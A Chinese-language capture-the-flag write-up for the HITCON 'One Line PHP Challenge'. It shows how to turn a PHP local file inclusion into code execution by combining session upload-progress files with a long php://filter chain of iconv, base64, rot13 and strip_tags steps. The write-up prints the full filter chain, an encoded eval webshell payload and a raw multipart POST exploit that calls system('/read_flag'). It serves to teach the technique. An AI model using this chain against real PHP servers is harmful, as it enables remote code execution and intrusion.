## One Line PHP Challenge
### 题目源码
![](https://i.imgur.com/iZ9iR9c.png)
### 整体思路
因为`allow_url_include=0 `的缘故,我们不能远程文件包含,所以题目的解题思路很明显: 利用本地文件包含构造一个webshell/包含flag读取flag
### 前期试探
最开始题目没有给环境信息,我想到的是@王一航师傅去年发的一个filter会导致PHP < 7.2异常退出的bug
https://www.jianshu.com/p/dfd049924258
```
php://filter/string.strip_tags/resource=xxx
```
`ps: 这个bug的原因是有一处空指针引用`
本地`ubuntu16+php7.1(apt-get)`最新版本测试是成功的,因为tmp下临时文件得不到回收,可以通过lfi getshell
但是远程却始终不报错,后来放出了题目的环境为`ubuntu18+php7.2`,我开了一台相应环境的云主机,才发现此方法不通,原因有两点:
* php7.2修复了这个空指针引用的问题
* ubuntu17之后使用Systemd托管apache和php-fpm,tmp目录被分离开来
后来又试探了一些其他PHP自带的wrapper,无果,最后思路转到php://这个wrapper的filter上。
flag已知部分为开头的`hitcon`(6字节),而他要求的文件开头为`@<?php`恰好也是6字节
搜索有关lfi相关知识的时候偶然看到了一篇
```
https://gynvael.coldwind.pl/?lang=en&id=671
```
这个题目就是通过filter编码flag,使其转成gif头,从而才读取到flag的,但是容错性较高。
后来排除了这个方案,因为就算转换成@<?php的形式,会被当做php代码包含进来,后面的部分无法被获取。
### get flag
后来在探测ubuntu18+php7.2有什么比较奇怪的系统文件的时候,发现php7.2的session文件存储路径是固定的 `/var/lib/php/sessions`,而不是之前版本(带有日期的子目录下)。恰好apt-get下载的php是默认开启session.upload的,于是便有了一个解题方向。
session upload的说明
```
https://xz.aliyun.com/t/2148#toc-2
```
但是仍有一个问题,session.upload生成的进度文件开头是`upload_progess_`
![](https://i.imgur.com/7SbddJe.png)
于是就用到上面的思路进行碰撞,但是碰撞6字节复杂度相当大,而且还要闭合前面的@<?php,所需要碰撞的字节数>6字节,很显然是不行的。
php://的filter中可以做到内容删除操作的有
```
consumed
string.strip_tags
```
于是想到只要碰撞第一字节为<(标签的起始),后面可控部分闭合掉它,用一次strip_tags,再把剩下完全可控的内容解码,即可。
base64可解码成`<`的范围是`PA`-`PP`,rot13后是`CN`-`CC`,所以只要前两字节在上面的任意范围内就可以通过filter解码出`<`
在这里可用的操作为
```
convert.iconv.* (转换编码)
convert.base64-en(de)code
string.rot13
```
且过程中一定要保持大部分可逆,base64decode在块不满的情况下或者中间出现不可解字符的情况下会丢失信息,所以要保持全程的字节数不变,初始数据为整块的形式,base64操作(en,de)对合。
有两个特别有用的编码转化
```
convert.iconv.UCS-2LE.UCS-2BE
convert.iconv.UCS-4LE.UCS-4BE
```
因为高低位存储的数据相反,可造成2bytes,4bytes的逆序操作
```
https://www.cnblogs.com/Johness/p/3322445.html
```
接下来就是要构造一个base64串,前四字节中存在`C`或`P`,且其后的字节范围在以上提到的范围内,然后通过2,4逆序操作可分别将其提升到第一字节,第二字节
最终构造出
![](https://i.imgur.com/kWW4WTC.png)
php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=data://,upload_progress_aadddddd
对应的逆算法
php://filter/convert.base64-encode|convert.iconv.UCS-4LE.UCS-4BE|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.IBM1154.UTF8/resource=data://,xxx
然后使用逆算法编码整块的
```
>+(编码后的可控部分)
```
可控部分为
```
@<?php eval(xxx);?>//aaa...
```
这里我最终采用的编码形式是`convert.iconv.UTF8.CP1025` (base64太长了,而且不好控制整体的长度使其符合整数块)
编码器
![](https://i.imgur.com/xiPQQbT.png)
`>`+生成的数据放到逆算法器
![](https://i.imgur.com/oV3eJ84.png)
生成的数据放到upload_progress_aa之后交给题目程序处理
![](https://i.imgur.com/5gcZChj.png)
然后就是将结果生成文件
我生成的结果为
data://,upload_progress_aaaaaaaaaaaaa%0AA%D0%B8X%C2%98L%D0%AD%C2%9B%C2%84z%D0%9F%C2%9A%09cNM%1B%D0%AD%D0%BA%D1%9F%D1%8C%23%D1%88%D0%B7kS%5BWG.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF
去掉upload_progess_前缀输出到文件中
![](https://i.imgur.com/2Ga2pCE.png)
然后就可以用session.upload生成webshell了
exp 放在burp里多线程跑一下
```
POST /?orange=php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_5uu8r952rejihbg033m5mckb17&1=var_dump(file_get_contents('/flag'));system('/read_flag'); HTTP/1.1
Host: 54.250.246.238
Proxy-Connection: keep-alive
Content-Length: 27912
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: §null§
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
生成的文件内容(parse from file)
(注意这里补充一些没用的数据,只有文件够大,才会产生有内容的上传进度文件)
------WebKitFormBoundary2rwkUEtFdqhGMHqV--
```